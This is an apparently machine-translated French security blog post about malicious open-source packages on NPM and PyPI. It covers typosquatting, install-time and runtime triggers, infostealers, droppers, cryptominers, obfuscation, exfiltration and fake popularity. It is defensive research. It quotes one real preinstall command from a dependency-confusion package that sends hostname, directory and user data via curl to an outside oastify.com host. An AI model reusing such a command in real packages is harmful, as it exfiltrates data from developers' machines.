Dans l'épisode précédent, Packages malveillants open source : le problème, nous avons discuté des raisons pour lesquelles les acteurs de la menace étaient si enthousiaste à l'idée de publier de nouveaux composants malveillants ou d'injecter des logiciels malveillants dans les dernières versions de composants existants : l'infrastructure open source permet à n'importe qui, n'importe où, de créer un compte éphémère dans un registre de composants (comme NPM, PyPI, Docker Hub ou Visual Studio Marketplace) ou une plateforme de développement collaboratif (comme GitHub). Un coût nul et de nombreuses opportunités pour tirer parti de la confiance excessive que les équipes logicielles accordent traditionnellement aux composants tiers.
L'asymétrie entre la facilité avec laquelle les attaquants diffusent des logiciels malveillants à l'aide de l'infrastructure disponible pour l'open source et la difficulté pour les organisations développant des logiciels (tout le monde ?) d'éviter d'être infectées par des logiciels malveillants (et de diffuser des logiciels malveillants dans les logiciels pour lesquels ils distribuent). autres), ce qui a permis d'atteindre presque la barre du quart de million de paquets malveillants l'année dernière.
Il s’agit d’un problème d’une telle ampleur qu’aucune organisation ne peut le résoudre à elle seule, et la communauté est en train de recadrer le processus open source concernant la confiance, les principes de sécurité par défaut et de sécurité dès la conception, ainsi que le cycle de vie des composants. Nous examinerons de telles idées dans le prochain épisode Protection contre les packages malveillants Open Source : ce qui ne fonctionne (pas).
N'oubliez pas que nous parlons de composants logiciels qui correspondent la plupart du temps à progiciels: composants réutilisables emballés afin qu'ils puissent être référencés en tant que dépendance dans un manifeste logiciel et installés avec un gestionnaire de packages ou un outil de construction. Veuillez noter que cette affaire pourrait être élargie pour inclure le public image de conteneur (utilisé par les environnements d'exécution de conteneurs et les plates-formes d'orchestration comme Kubernetes), et extensions aux outils logiciels (pour la construction, l'automatisation et le déploiement).
Nous analysons ici comment cela tactique d'attaque basée sur des composants malveillants fonctionne, selon des exemples passés et ce que nous avons vu dans notre plateforme d'alerte précoce contre les logiciels malveillants (MIAULER). Nous décortiquerons les composants malveillants dans différentes dimensions :
(1) le mode choisi pour la distribution (registre utilisé, dans un composant nouveau ou existant, et technique utilisée pour infecter la version du composant publiée), (2) comment le malware est activé ou déclenché, (3) le comportement malveillant, c'est-à-dire quelles actions nuisibles sont observées et quelle est la motivation de l'attaquant, (4) quelles techniques sont courantes pour l'obscurcissement, la dissimulation pour passer inaperçu, le mouvement latéral, la communication avec des hôtes de commande et de contrôle (C2), etc. ; et (5) les techniques permettant de gagner suffisamment de popularité et de confiance pour que les victimes finissent par installer le composant.
Le mécanisme de distribution choisi
On observe un «bruit de fond» de packages malveillants peu sophistiqués utilisant le typosquatting pour hameçonner les développeurs imprudents avec une faute de frappe dans le nom du package pour leur dépendance. De nombreux packages populaires reçoivent un barrage de packages portant des noms similaires et comportant des fautes de frappe, dans l'espoir qu'ils hameçonneront certains développeurs imprudents.
Ils utilisent un compte éphémère, publient un groupe de packages typosquat, en créent un autre et publient un autre groupe… En utilisant un peu d'automatisation et d'ingéniosité, ils peuvent obtenir une certaine sophistication, mais ils sont généralement plutôt triviaux. Nous les appelons en interne «anchois». Le vol d'identifiants est l'objectif principal, mais nous trouvons parfois des logiciels espions exfiltrant le code source ou des données sensibles telles que des informations personnelles identifiables (PII), la capture du presse-papiers et d'autres doutes.
Surgissant de nulle part, nous voyons des composants malveillants plus sophistiqués, les « requins ». Une minorité cible des groupes ou des organisations spécifiques, généralement avec des draineurs de crypto ou des skimmers Web activés sous condition, peut-être en suivant l'approche vue dans le incident de flux d'événements de déchiffrer la charge utile de l'attaque uniquement lorsque le package est référencé à partir d'un package cible.
Le mécanisme de distribution a été analysé dans l’excellent article désormais classique «Backstabber's Knife Collection : un examen des attaques de la chaîne d'approvisionnement de logiciels open source», à lire absolument. Vous avez sûrement déjà vu ce joli tableau :
Toutes les pistes ont été explorées, y compris les packages nouveaux et existants ; affectant le code source, le système de construction ou le composant packagé lui-même ; utiliser des informations d'identification volées ou de l'ingénierie sociale ; détourner des comptes et des référentiels abandonnés ou empoisonner ceux maintenus. Certaines attaques ont reçu des noms (Typosquattage, Confusion des dépendances, Confusion manifeste, Prise en pension. etc.) et ont déjà été discutés ailleurs.
Qu’en est-il des registres choisis ?
NPM continue de dominer le nombre total de packages malveillants, mais nous avons constaté un pic à partir de cette année sur PyPI. Python est un écosystème populaire pour la science des données et l'apprentissage automatique. En fait, la densité des malwares est désormais plus élevée dans PyPI que dans NPM.
Comment le malware est déclenché
Des packages malveillants sont déclenchés lors de l'installation dans seulement 4 cas sur 10 (ces dernières années, c'était près de 6 sur 10). Le reste exécute un comportement malveillant au moment de l’exécution, 1 sur 100 étant déclenché lors de l’exécution de tests. Les adversaires semblent savoir que l'exécution incontrôlée des scripts d'installation a été désactivée à de nombreux endroits.
Que gagnent les méchants ?
Nous énumérerons les catégories de comportements malveillants, les plus populaires en premier. Veuillez noter que l'impact pourrait être très différent : a essuie-glace est obstinément destructeur, mais il n’est pas courant et n’a été observé que dans quelques cas, liés à des campagnes de cyberguerre ciblées ou à un hacktivisme brutal. Les catégories suivantes sont assez courantes :
- InfoStealer / Draineur d'identifiants. De loin les plus fréquentes, plus de 90 % des attaques non sophistiquées sont de simples voleurs recherchant principalement des informations d'identification telles que des mots de passe, des jetons d'accès, des clés API et des clés privées (pour SSH et autres). C'est probablement le plus simple à écrire (avec les wipers ?). Ils énumèrent les fichiers/répertoires connus et d'autres sources (par exemple les clés de registre), emballent le contenu et envoient ces données à un serveur C2. L’idée est simple : « Je publie un voleur d’identifiants de phishing, afin de pouvoir ensuite utiliser ces identifiants pour lancer une attaque dirigée ».
Le réseau C2 observé est généralement bon marché et sale, comme les chaînes Telegram ou outils de tunneling de type ngrok (souvent sous la forme de proxys inverses exposés via les adresses IP de sortie VPN). Il existe des centaines (!) de possibilités, avec de nombreux projets GitHub sous le sujet sur le voleur de mot de passe. Les spécialisations telles que les enregistreurs de frappe sont rares pour les packages malveillants et les images de conteneurs, mais plus fréquentes dans les extensions d'outils, où une interaction utilisateur est attendue.
- Compte-gouttes/téléchargeur. Le deuxième en popularité, arrivant généralement en premier dans les attaques à plusieurs étapes. Plus d'un composant malveillant sur trois possède des droppers (si la charge utile malveillante est incluse dans le package) ou des téléchargeurs (la charge utile est téléchargée à partir d'un point final sous le contrôle de l'attaquant). La charge utile est souvent une variante de malware binaire connue, et elle est exécutée et parfois conservée pour installer des portes dérobées, des logiciels espions, des draineurs de chiffrement et d'autres cas d'utilisation. La charge utile téléchargée ou déployée lance une attaque de deuxième phase avec toute la puissance fournie par les binaires de logiciels malveillants existants. Les binaires peuvent être distribués dans le package, souvent masqués comme des images ou des types de fichiers supposés inoffensifs, pour éviter d'être détectés lors de la connexion à des sites inattendus.
- Voleurs / Mineurs de crypto-monnaie. Les adversaires motivés financièrement sont prêts à utiliser vos actifs cloud pour exécuter des cryptomineurs (ils détectent même s’ils s’exécutent dans une VM cloud). Ils ne se soucient pas du faible taux de profit de 1 $ pour chaque tranche de 53 $ facturée à la victime pour l'infrastructure cloud volée. Les victimes peuvent ne pas s’en rendre compte jusqu’à ce qu’elles reçoivent une facture inattendue. Heureusement, cela va et vient. Cryptojacking des campagnes contenues dans des packages malveillants apparaissent parfois puis disparaissent, hameçonnant les utilisateurs du portefeuille ou ciblant éventuellement le fournisseur du portefeuille, comme dans le cas Attaque de grand livre.
D'autres comportements, comme le déploiement d'un détourné l'exécution de code à distance en ouvrant un shell inversé est moins fréquente aujourd'hui que par le passé. Par exemple, le 123rf_contributor_web Le package (maintenant supprimé du registre) ouvre sans aucune obscurcissement un shell inversé copié et collé à partir du Aide-mémoire à coque inversée:
Outre les composants légitimes et malveillants, nous avons constaté plusieurs abus, notamment :
Forfaits anti-spam
Il existe des milliers de petits packages, principalement dans NPM, sans malware mais promettant des gains faciles, de l'huile de serpent, des liens vers des offres de Viagra, et tout ça. Quelques utilisateurs publient de tels spams et consomment beaucoup de bande passante du registre. Un ou plusieurs autres acteurs, peut-être indonésiens, ont tenté d'en tirer profit en abuser du teaRank destiné à rémunérer les développeurs open source, en créant des dizaines de milliers de packages NPM interdépendants avec des référentiels factices GitHub associés. Il s’agit d’une violation flagrante des conditions d’utilisation.
Canulars liés aux bug bounty et à la recherche sur la sécurité
Lorsqu'un package se décrit comme exfiltrant des données à de bonnes fins, comme détecter des failles de sécurité pour les programmes de bug bounty ou rechercher certains aspects de l'écosystème. Nous avons vu des milliers de packages dans cette catégorie, qui récupèrent des données d'identification mais pas trop sensibles vers une adresse Burp Collaborator depuis PortSwigger (par exemple, hôte dans le domaine oastify.com). Nous avons souvent observé des copieurs du Confusion des dépendances preuve de concept par Alex Birsan, comme le aurora-webmail-pro package (supprimé du registre), qui exécute simplement ce code malveillant dans le script de pré-installation :
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")
Et comprenait également un «Il s'agit d'une preuve de concept d'attaque de confusion de dépendance simple» description de la clause de non-responsabilité dans le package.json. Il s’agit d’une violation flagrante des conditions de service, même sans intention malveillante.
Quelques bonnes nouvelles? Nous n’avons pas (encore) vu d’attaques de ransomware via des composants malveillants. Pour des raisons inconnues, les cybercriminels semblent préférer les mécanismes de phishing par courrier électronique plus traditionnels, basés sur RDP et par téléchargement drive-by.
Techniques supplémentaires observées
De nombreuses techniques ont été utilisées pour la persistance, l'évasion de la défense, la collecte d'informations, la communication avec les hôtes de commandement et de contrôle et l'exfiltration.
Persistence dans les composants malveillants est obtenu en utilisant les fonctionnalités de persistance d'un malware binaire de deuxième étape, mais parfois le comportement est localisé dans le code du package, les tâches planifiées et les modifications dans le registre Windows étant les plus courantes.
Obfuscation est courant, mais peu sophistiqué. La plupart des packages de typosquatting (rappelez-vous le «anchois"?) n'utilisez pas du tout d'obscurcissement ; beaucoup utilisent soit des chiffrements triviaux (codage base64/hex ou des chiffrements de substitution comme rot13), soit des obfuscateurs de code et une minification disponibles, qui sont facilement inversés avec les bons outils. Seuls les « requins » font de l’obscurcissement réel, pur et dur, difficile à rétro-ingénierie.
L'obscurcissement peut masquer l'attaque, mais pourquoi le code d'un composant open source devrait-il être obscurci ? Existe-t-il des preuves que quelque chose doit être caché à la vue de tous ? Nous avons trouvé de nombreux cas de packages non malveillants qui utilisent l'obscurcissement pour protéger la propriété intellectuelle, ce qui est contradictoire avec « l'open source ». L'obfuscation peut être utilisée comme preuve de malware, mais elle n'est pas concluante. Il est également difficile de désobscurcir les choses.
Évasion des contrôles de défense adopte des techniques simples. Le code malveillant est souvent protégé dans essayez… attrapez des blocs qui ignorent les exceptions, de sorte que les activités anormales ne sont pas affichées dans les journaux. La vérification de l'environnement (exécuté dans une VM ou un conteneur) est rare, sauf pour les logiciels malveillants ciblant une organisation ou un environnement particulier.
La masquage de fichiers binaires dans des images et des fichiers PDF (sorte de stéganographie) était une autre technique utilisée pour échapper à la détection.
Les composants malveillants les plus courants étant les infostealers, collecte de données est essentiel. Les secrets (mots de passe, jetons d'accès, clés API, clés cryptographiques) sont régulièrement analysés dans les fichiers journaux, les variables d'environnement et même dans le presse-papiers (observé avec les chevaux de Troie bancaires et les voleurs de crypto). L'exfiltration du code source est également courante, car l'installation du package est souvent effectuée dans un nœud de développement où les référentiels git internes peuvent être clonés. Nous avons vu des packages énumérant des répertoires à la recherche de référentiels git. La recherche d'emplacements tels que .env, private.pem, settings.py, app.js ou application.properties est assez courante.
L'exfiltration est une autre action largement déployée. Seule une minorité de packages malveillants tentent même de cacher la destination des données extraites. Chaînes de télégramme et tunnels de type ngrok sont souvent utilisés. Et il y en a beaucoup domaines généralement sur liste blanche utilisés pour l'exfiltration.
D’autres techniques, comme l’élévation des privilèges ou le mouvement latéral, étaient moins courantes.
Gagner en popularité et en confiance
Imaginez un escroc technologique doté d'un truc malveillant et tueur prêt à l'emploi qui se demande : « Comment puis-je fabriquer ce morceau de s#$ ! digne de confiance pour ces abrutis sans méfiance ?“.
Cela se traduit par la manière de faire en sorte que l'entrée du composant malveillant affiche de nombreuses étoiles / fourches (pour la popularité), ainsi que des versions / problèmes et pull requests (pour l'activité). L'idée est d'obtenir une popularité fictive (étoiles) et des personnes à charge, ainsi qu'une apparence convaincante concernant la pertinence et le maintien.
Le registre ne vérifie pas si le contenu d'un projet GitHub et le contenu du package correspondent. Il s’agit d’un problème bien connu dans la chaîne d’approvisionnement en logiciels. Les registres publics sont des gouffres géants qui engloutissent tout ce qu’on leur lance. Vous pouvez lier n’importe quel référentiel.
Si le package malveillant squatte un package populaire, c'est simple : il suffit de référencer le référentiel GitHub existant dans le manifeste de dépendances utilisé pour créer le package et le publier dans le registre. Pour les nouveaux packages sur un faux dépôt GitHub, vous aurez peut-être besoin de plus d'ingéniosité, peut-être en créant de faux observer les étoiles/fourcher Comptes GitHub via des scripts.
Et si le contenu de votre package est raisonnablement similaire au dépôt, glissez quelques modifications bien conçues ici et là… Vous pouvez injecter votre malware dans un nouveau package ressemblant à un package populaire faisant référence au référentiel existant et attendre les fautes de frappe. . Si quelqu’un ose comparer le contenu de l’archive tar du package avec le contenu du référentiel GitHub, les différences au niveau des points d’injection des logiciels malveillants pourraient facilement passer inaperçues. Nous avons déjà vu cette approche à plusieurs reprises.
Un mécanisme permettant à un composant de faire une déclaration infalsifiable sur la provenance, la manière dont le package a été construit, à partir de quelles sources et par qui, serait le bienvenu. Mais c'est une autre histoire.
Le composant X est-il un malware ?
Existe-t-il une base de données (complète) de packages malveillants ? Non. Les vulnérabilités open source se voient attribuer un identifiant CVE, mais seuls quelques packages malveillants (en particulier ceux qui font la une des journaux) en reçoivent un. Le CWE pour les packages malveillants est CWE-506 (code malveillant intégré).
Les outils malveillants habituels (VirusTotal, MalwareBazaar, SOREL-20M…) ne prévoient pas de dispositions spécifiques pour les composants malveillants. Ce serait le bienvenu !
Il existe des exemples de bases de données de recherche et des ensembles de données à analyser (nous en utilisons quelques-uns), mais les entrées ne sont mises à jour que lorsque le package malveillant est connu, ce qui est souvent trop tard. Si vous êtes intéressé, le OpenSSF Paquets malveillants est un bon début.
Dans le prochain article, nous verrons comment savoir si un package donné est malveillant. Spoiler : oui, il existe des moyens de rechercher des composants malveillants au début de la fenêtre d'exposition, avant que le registre ne supprime un composant malveillant connu.
Lectures complémentaires
Dans le prochain épisode «Protection contre les packages malveillants Open Source : ce qui ne fonctionne (pas) » nous discuterons des choses à faire et à ne pas faire en matière de sécurité open source. La plupart des professionnels sensibilisés à la sécurité ont des intuitions sur la manière de gérer cette menace, mais les idées fausses abondent.
Nous examinerons pourquoi ces idées sont fausses et comment ces idées fausses contribuent à la popularité de ce mécanisme d’attaque et au risque écrasant auquel sont confrontées les organisations. Nous procéderons ensuite à ce qui fonctionne, et quels sont les efforts et les ressources impliqués.
Nous publierons également des articles sur l'évolution des packages malveillants en termes d'intention, de mécanisme d'injection et de techniques d'attaque.
Bientôt disponible!
